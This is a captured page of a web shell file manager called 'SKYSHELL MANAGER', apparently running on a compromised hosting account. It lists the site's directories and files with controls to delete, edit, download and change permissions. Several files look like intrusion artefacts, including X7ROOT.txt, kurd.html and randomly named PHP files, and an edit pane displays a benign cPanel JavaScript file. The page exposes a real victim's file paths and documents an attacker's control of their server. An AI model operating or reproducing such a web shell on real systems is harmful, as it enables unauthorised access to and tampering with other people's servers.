📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: nvDataServiceFactory.js
/* # cjt/services/nvDataServiceFactory.js Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ /** * This module returns a factory function to generate NVDataService instances * scoped to a specific application: whostmgr, cpanel, webmail. To work in * an application, the application must expose an API for Personalization::get * and Personalization::set. See the relevant back-end API modules in: * * Whostmgr/API/1/Personalization.pm * Cpanel/API/Personalization.pm * * Instances created by this factory are available in cjt2 in for whostmgr, * cpanel and webmail in: * * [NVDataService for cpanel and webmail]{@link module:cjt/services/cpanel/NVDataService} * [NVDataService for whostmgr]{@link module:cjt/services/whm/NVDataService} * * @module cjt/services/nvDataServiceFactory */ define([ // Libraries "angular" ], function(angular) { "use strict"; /** * Factory method to generate specific NVDataServices that work in one of the * applications: whostmgr, cpanel, webmail depending on the arguments passed. * * @function module:cjt/services/nvDataServiceFactory * @param {module:cjt/io/request:Request} APIREQUEST * @param {module:cjt/service/APIService:APIService} APIService * @return {module:cjt/services/nvDataServiceFactory:NVDataService} Instance of the NVDataService for the specific application. */ return function(APIREQUEST, APIService) { /** * NVDataService for a specific application environment. * * @class * @exports module:cjt/services/nvDataServiceFactory:NVDataService */ var NVDataService = function() {}; NVDataService.prototype = new APIService(); // Extend the prototype with any class-specific functionality angular.extend(NVDataService.prototype, { /** * @global * @typedef {Object} NameValuePair * @property {String} name Name of the pair * @property {?String} value Value of the named item */ /** * @global * @typedef {Object} SavedNameValuePair * @property {String} name Name of the pair * @property {Any} [value] Value of the named item if saved correctly * @property {String} [error] Problem if the named item could not be saved. */ /** * Gets one or more user preferences (nvdata) data elements * * @example "xmainrollstatus|xmaingroupsorder" * * @method get * @instance * @async * @param {String|String[]} names one of the following: * * name of one nvdata element as a string * * an array of one or more nvdata names * @return {Promise.<NameValuePair[]>} Promise that will fulfill the request. */ get: function(names) { if (!angular.isArray(names)) { names = [names]; } var apiCall = new APIREQUEST.Class(); apiCall.initialize("Personalization", "get", null, null, { json: true }); apiCall.addArgument("names", names); return this.deferred(apiCall, { apiSuccess: function(response, deferred) { var list = []; var personalization = response.data.personalization; names.forEach(function(name) { list.push({ name: name, value: personalization[name].value } ); }); deferred.resolve(list); } }).promise; }, /** * Set a single name/value pair on the server * * @method set * @instance * @async * @param {String} name Name of the property to store * @param {Any} value Value to store for the name * @returns {Promise.<SavedNameValuePair>} */ set: function(name, value) { var apiCall = new APIREQUEST.Class(); apiCall.initialize("Personalization", "set", null, null, { json: true }); var pairs = {}; pairs[name] = value; apiCall.setArguments({ personalization: pairs }); return this.deferred(apiCall, { apiSuccess: function(response, deferred) { var personalization = response.data.personalization; var pair = personalization[name]; var ret = { set: name, value: pair.value }; if (!pair.success) { ret.error = pair.reason || "Unknown failure."; } deferred.resolve(ret); } }).promise; }, /** * Builds the NVData name/value pairs in a single object * for the passed in names. * * @method getObject * @instance * @async * @param {String|String[]} names one of the following: * * name of one nvdata element as a string * * an array of one or more nvdata names * @return {Promise.<Object.<string, value>>} Promise that will fulfill the request. * @example * var names = [ * "xmainrollstatus", * "xmaingroupsorder" * ]; * * nvDataService.getObject(names).then(function(data){ * console.log(data); * }); * * In this example, the following will be printed to the console: * * { * xmainrollstatus: "databases=0|domains=0", * xmaingroupsorder: "databases|files|domains|email" * } */ getObject: function(names) { if (!angular.isArray(names)) { names = [names]; } var apiCall = new APIREQUEST.Class(); apiCall.initialize("Personalization", "get", null, null, { json: true }); apiCall.addArgument("names", names); return this.deferred(apiCall, { apiSuccess: function(response, deferred) { var personalization = response.data.personalization; var xform = {}; Object.keys(personalization).forEach(function(name) { xform[name] = personalization[name].value; }); deferred.resolve(xform); } }).promise; }, /** * Sets NVData values passed as key value pairs in an object * * @example * { * xmainrollstatus: "databases=0|domains=0", * xmaingroupsorder: "databases|files|domains|email" * } * * @method setObject * @param {Object.<string,string>} data NVData pairs to be set where each property * is the name of the pair and each property value is the value * of the pair. * @return {Promise.<SavedNameValuePair[]>} Promise that will fulfill the request. */ setObject: function(data) { var apiCall = new APIREQUEST.Class(); apiCall.initialize("Personalization", "set", null, null, { json: true }); apiCall.setArguments({ personalization: data }); return this.deferred(apiCall, { apiSuccess: function(response, deferred) { var list = []; var personalization = response.data.personalization; Object.keys(personalization).forEach(function(name) { var pair = personalization[name]; var ret = { set: name, value: pair.value }; if (!pair.success) { ret.error = pair.reason || "Unknown failure."; } list.push(ret); }); deferred.resolve(list); } }).promise; } }); return new NVDataService(); }; });
Save